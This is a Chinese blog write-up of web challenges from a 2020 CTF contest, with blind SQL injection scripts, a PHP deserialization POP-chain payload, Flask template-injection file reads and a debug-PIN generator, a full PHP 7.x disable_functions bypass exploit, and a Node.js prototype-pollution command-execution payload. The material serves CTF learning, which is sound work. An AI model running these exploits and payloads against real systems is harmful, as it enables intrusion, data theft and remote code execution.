i春秋2020新春公益赛WEB复现Writeup

i春秋2020新春公益赛WEB复现Writeup

说实话这个比赛打的我是一点毛病都没有,还是觉得自己掌握的东西太少了,,,
尤其是sql注入,都被大佬们玩出花来了,可能自己太菜,,,哭了!!!
关于SQL注入的一篇好文章:对MYSQL注入相关内容及部分Trick的归类小结
之前做出来的题目有点少,,,
现在还有机会复现,复现一下,,,,,

Day1

简单的招聘系统

这道题目白给吧,在登陆页面存在盲注,,,,直接上脚本跑就行了,,,,

import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改变标准输出的默认编码,否则s.text不能输出
ss = ""
x = string.printable

url = "http://0322466e512a4d9abbd18abd6e1a56b0f5e4decb12434075.changame.ichunqiu.com/index.php"

headers = {"cookie":"PHPSESSID=dh732m3f8dh6cid1u1nq4gool2; __jsluid_h=8e14805a86acf7cbba7f9e3e53dc7685"}

payload={
	"lname":"",
	"lpass":"123"
}
#测试
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)

for i in range(1,60):
	for j in x:
		#payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1#")%(str(i),ord(j))
		#payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%s,1))=%s)=1#")%(str(i),ord(j))
		payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)=1#")%(str(i),ord(j))
		#print(payload)
		r=requests.post(url=url,headers=headers,data=payload)
		if('window.location.href="./zhaopin.php";' in r.text):
			ss += j
			#print(1)
			print(ss)
			break

'''
真:window.location.href="./zhaopin.php";
'''

有些师傅说啥admin万能密码登陆,然后在search for key的地方进行sql注入,,,
反正差不多吧,应该不太难,,,,,

ezupload

啥都没过滤,,直接上传php文件,一句话木马,链接即可,,,,
在这里插入图片描述
看了下index.php的源码:

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
   上传: <input type="file" name="file_upload">
    <input type="submit">
</form>

看到这里我笑了,,,出题者可能太累了,没仔细看,,,,,
在这里插入图片描述
这完全不能达到过滤的效果,,,,,,

babyphp

打开网页看到程序员已跑路,,,,直接尝试了一下www.zip,下载下来了源码:
update.php:

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

可以看见只要登陆成功就会得到flag了!!!

主要的利用页面:

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

当我第一眼看见safe函数的时候就觉得又是反序列化字符逃逸~ 事实上就是字符逃逸!!!!

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

不过我当时环境有问题,数据库连接失败,,,我还以为题目就是这样的,我也是透了猴子的!!!
可以看见有反序列化,关键就是构造pop链!!!
首先看到:
在这里插入图片描述
如果$this->sql=new User(),那么就会调用User的tostring函数:
在这里插入图片描述
如果$this->nickname=new Info(),那么就会调用Info的call函数:
在这里插入图片描述
如果这时的$this->CtrlCase=new new dbCtrl(),那么会调用dbCtrl的login函数
而该函数可以执行任意的sql语句,并且会把值return出来,这里我们可以把密码带出来!:
在这里插入图片描述
我们就可以构造select password,id from user where username="admin"的sql语句带出admin的密码!
序列化脚本:

<?php
Class UpdateHelper{
	public $sql;
	public function __construct(){
        $this->sql= new User();
    }
}

Class User{
	public $nickname;
	public $age;
	public function __construct(){
        $this->nickname = new Info();
        $this->age='select password,id from user where username="admin"';
    }
}

Class Info{
	public $CtrlCase;
	public function __construct(){
        $this->CtrlCase = new dbCtrl();
    }
}

class dbCtrl
{	public $token;
	public function __construct(){
		$this->token = 'admin';
	}
}

$a = new UpdateHelper();
echo serialize($a);
?>

得到:
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}

有一点是需要注意的,由于我们是逃逸出来的,所以我们必须得让程序能够成功的序列化
我们可以调试一下正常的序列化:

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:6:"A_dmin";s:8:"CtrlCase";s:3:"111";}

age和nickname是我们能够控制的!!!
所以payload前面要加上s:8:“CtrlCase”;然后闭合掉后面的CtrlCase,,,,
payload:

age=1&nickname=*********************************************";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,Id from user where username="admin"";}}}111

得到admin密码:
在这里插入图片描述
登陆拿到flag:
在这里插入图片描述

盲注

打开页面可以发现源码:

<?php
    # flag在fl4g里
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

可以看见有waf,但是我们可以fuzz一波,以下都是被过滤了的:
在这里插入图片描述
页面也没有回显,估摸着是时间盲注了,不过等于等符号都被过滤了,,,
可以利用基于regexp的时间盲注,我们能看见他的sql语句嘛select * from flllllllag where id=$id
我们可以本地尝试一下:

select * from table1 where id=1 and if((substr((flag),1,1) regexp "^f"), sleep(5),1)

发现会睡5秒,她有个提示说flag在fl4g里,ok,编写脚本(响应超时会报404):

import requests
import sys
import string
import io
import time


sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改变标准输出的默认编码,否则s.text不能输出
flag = ""
x = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

url = "http://76d9d6e1097b49b3b6647c717fbf986f62e0bc5e34e945c1.changame.ichunqiu.com/?id=1 "

for i in range(1,43):
	for j in x:
		payload = url + ('and if((substr((fl4g),%s,1) regexp "^%s"), sleep(10),1)')%(str(i),j)
		#print(payload)
		try:
			r=requests.get(payload,timeout=5)
		except Exception as e:
			flag += j
			print(flag)
			break

得到结果:
在这里插入图片描述

Day2

blacklist

这道题目就是那个2019强网杯的随便注,不过不能使用那道题目的payload
因为过滤了那道题目的payload的关键词,,,,不过还是堆叠注入,能得到表名列名,,,

set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i

所以只能换一种方法,使用handle替换select查询,,,,
payload:

1'; handler FlagHere open as hack; handler hack read first; handler hack close;

得到:
在这里插入图片描述

Ezsqli

打开页面发现是个搜索框,输入1 and 1=1发现提示hacker,,,,
输入1 && 1=1,得到Hello Nu1L,输入1 && 1=0得到Hello,存在注入!
fuzz一波,发现or,in,union select都被过滤了,,,,or和in被过滤无非是information不能使用
我们可以找到代替的,之前就遇见过不能使用information的注入,
可以使用sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer代替
麻烦的是union select不能同时出现,,先跑一下表名,,,书写脚本:

import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改变标准输出的默认编码,否则s.text不能输出
ss = ""
x = string.printable

url = "http://82b1d678b7c34f4981d683612690549a36edb1a166894df0.changame.ichunqiu.com/"

headers = {"cookie":"__jsluid_h=cdcac10f27dac6ddb56d334f26b8b9e4"}

payload={
	"id":""
}
#测试
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)

for i in range(1,60):
	for j in x:
		payload["id"]=("1 && 1=(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%s,1))=%s)=1")%(str(i),ord(j))
		#print(payload)
		r=requests.post(url=url,headers=headers,data=payload)
		if('Hello Nu1L' in r.text):
			ss += j
			#print(1)
			print(ss)
			break

得到:
在这里插入图片描述
表中如果只有一列可以使用:substr((select * from table),1,1)=‘f’,题目中貌似不止一列
题中多于一列,需要将查询语句与相同数量的列进行比较,配合 <= 进行盲注
类似于这种:(select 'admin','admin')>(select * from users limit 1)
模拟建立一个表:
在这里插入图片描述
执行select (select '1','e~')>(select * from table2 limit 1)显示0
执行select (select '1','f~')>(select * from table2 limit 1)显示1,,,,
执行select (select '1','fl~')>(select * from table2 limit 1)显示1,所以可以进行盲注,,
exp.py:

import requests
import base64
import sys
import string
import hashlib
import io
import time

def str2hex(strs):
	ss = ""
	for i in strs:
		x = hex(ord(i))[2:]
		if(len(x) == 1):
			ss += '0' + str(x)
		else:
			ss += str(x)
	return ss

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改变标准输出的默认编码,否则s.text不能输出
ss = ""
x = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

url = "http://82b1d678b7c34f4981d683612690549a36edb1a166894df0.changame.ichunqiu.com/"

headers = {"cookie":"__jsluid_h=cdcac10f27dac6ddb56d334f26b8b9e4"}

payload={
	"id":""
}
#测试
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)

for i in range(1,43):
	flag = ss
	for j in x:
		flag += j;
		#payload["id"]=("1 && 1=(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%s,1))=%s)=1")%(str(i),ord(j))
		#注意要进行16进制转换,否则不能执行
		payload["id"] = ("1 && ((select 1,0x%s7e)>(select * from f1ag_1s_h3r3_hhhhh limit 1))")%(str2hex(flag))
		#print(payload)
		r=requests.post(url=url,headers=headers,data=payload)
		if('Hello Nu1L' in r.text):
			ss += j
			print(ss)
			break
		else:
			flag = ss

得到:
在这里插入图片描述
出题人的笔记:新春战疫公益赛-ezsqli-出题小记

easysqli_copy

打开页面得到:

<?php 
    function check($str)
    {
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
        {
            print_r($matches);
            return 0;
        }
        else
        {
            return 1;
        }
    }
    try
    {
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    } 
    catch(Exception $e)
    {
        echo $e->getMessage();
    }
    if(isset($_GET['id']))
    {
        $id = $_GET['id'];
    }
    else
    {
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id))
    {
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }

参考了这篇文章:从宽字节注入认识PDO的原理和正确使用,,,,存在宽字节注入
不过没有回显,只能进行时间盲注,,,,
可以先进行测试一下:

url = "http://da2c319d9fca40bcbd9e0909ae4ecf8baeeca3524a314fe5.changame.ichunqiu.com/?id=1%df';"
#测试
payload="SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
r=requests.get(url+payload)
print(r.text)

利用SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;语句

0x73656C65637420696628313D302C736C656570283130292C3129 = select if(1=0,sleep(10),1)
发现不会延迟
0x73656C65637420696628313D312C736C656570283130292C3129 = select if(1=1,sleep(10),1)
页面直接404

直接进行注入,,,,写脚本,,,,
exp:

import requests
import sys
import io
import time

def str2hex(strs):
	ss = ""
	for i in strs:
		x = hex(ord(i))[2:]
		if(len(x) == 1):
			ss += '0' + str(x)
		else:
			ss += str(x)
	return ss
	
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改变标准输出的默认编码,否则s.text不能输出
flag = ""

url = "http://da2c319d9fca40bcbd9e0909ae4ecf8baeeca3524a314fe5.changame.ichunqiu.com/?id=1%df';"
'''
#测试
#payload="SET @x=0x73656C65637420696628313D312C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
#payload="SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
try:
	r=requests.get(url+payload,timeout=5)
except Exception as e:
	print("TRUE!")
'''
payload1 = "SET @x=0x%s;PREPARE a FROM @x;EXECUTE a;"
#payload2 = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),%s,1))=%s,sleep(10),1)";
payload2 = "select if(ascii(substr((select fllllll4g from table1),%s,1))=%s,sleep(10),1)"
for i in range(1,43):
	for j in range(32,126):
		x = payload2%(str(i),str(j))
		payload = url + payload1%(str2hex(x))
		#print(payload)
		try:
			r=requests.get(payload,timeout=5)
		except Exception as e:
			flag += chr(j)
			print(flag)
			break

得到:
在这里插入图片描述

Day3

Flaskapp

打开可以看见有提示:
在这里插入图片描述
pin!!直接百度了一下,找到了一篇文章:Flask debug pin安全问题
发现该网站有该bug,在解密时提交错误的字符串会出现debug界面,修改需要我们输入pin码:
在这里插入图片描述
不过好像还缺少任意文件读取,,,,,,
其实在base64decode处存在ssti模板注入,,,,把{{config}}base64加密后提交得到:
在这里插入图片描述
貌似模板注入的命令执行不行,,,没试出来,,,,
flask读取文件的payload:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

得到:
在这里插入图片描述
能行,获取该有的变量,用户名得到了~~

flaskweb:x:1000:1000::/home/flaskweb:

获取machine-id:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532 

在docker环境中不能直接读/etc/machine-id,否在pin会不对
在这里插入图片描述
获取Mac地址:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
02:42:ac:12:00:09
十进制:2485377957897

路径报错就有:

/usr/local/lib/python3.7/site-packages/flask/app.py

利用文章中的exp:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377957897',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到pin码:
在这里插入图片描述
成功进入python控制台:
在这里插入图片描述
读取flag文件:
在这里插入图片描述
其实比赛中已经找到了这篇文章,but没有发现还有模板注入,,自闭,,,

easy_thinking

这道题目我上了一波车,,,,:
在这里插入图片描述
利用ThinkPHP6的漏洞,先注册一个账号
在登录时候burp抓包,修改session,将session改成.php结尾,注意长度必须是32位
在这里插入图片描述
然后去搜索页面抓包修改session,并在搜索处插入木马:
在这里插入图片描述
可以看见:
在这里插入图片描述
使用蚁剑链接得到:
在这里插入图片描述
不过禁用了很多的函数:
在这里插入图片描述
接下来就像极客的那道rec了,不过他里面有exp,这里需要我们自己弄
直接上传成功:
在这里插入图片描述
得到:
在这里插入图片描述
exp.php:

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

ezExpress

这道题目怎么说呢,,,在buu上复现成功了,但是原网站却没有,自闭,,,
首先题目要求我们能够登陆成功,利用javascript大小写特性绕过:

ADMıN

注册ADMıN账号,成功登陆进去,接下来就是利用原型链污染了,,,
payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > /app/public/flag\"');//"}}

在这里插入图片描述
当看见成功时,去访问一下info:
在这里插入图片描述
在这里插入图片描述
然后去访问一下flag文件,就能够直接下载到!得到flag:
在这里插入图片描述
在这里插入图片描述
不过在原网站上没有成功,不知道为什么,命令虽然执行成功了,但是找不到flag文件,,
换其他命令貌似也没得用,嘤嘤嘤,自己好菜,又是自闭的一天!!!
希望有知道的师傅能指导我一下为什么~~感激不尽

node_game

暂缓~

发布了206 篇原创文章 · 获赞 130 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/104472352